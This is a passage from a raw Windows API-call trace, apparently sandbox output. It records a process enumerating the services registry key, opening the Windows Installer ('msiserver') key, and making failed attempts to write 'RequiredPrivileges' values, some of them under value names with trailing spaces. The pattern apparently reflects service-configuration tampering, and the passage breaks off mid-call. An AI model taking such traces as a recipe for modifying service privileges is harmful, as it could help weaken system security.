[0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0231.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0231.769] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0231.770] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0231.771] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0231.772] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0231.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0231.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0231.775] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0231.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0231.775] RegCloseKey (hKey=0x154) returned 0x0 [0231.775] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0231.775] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0231.775] RegCloseKey (hKey=0x80000002) returned 0x0 [0231.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0231.776] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0231.776] RegCloseKey (hKey=0x148) returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0231.776] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0231.777] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0231.777] RegCloseKey (hKey=0x154) returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0231.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.829] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0231.830] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0231.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0231.830] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1cd0, cbData=0x1) returned 0x6 [0231.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.830] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, 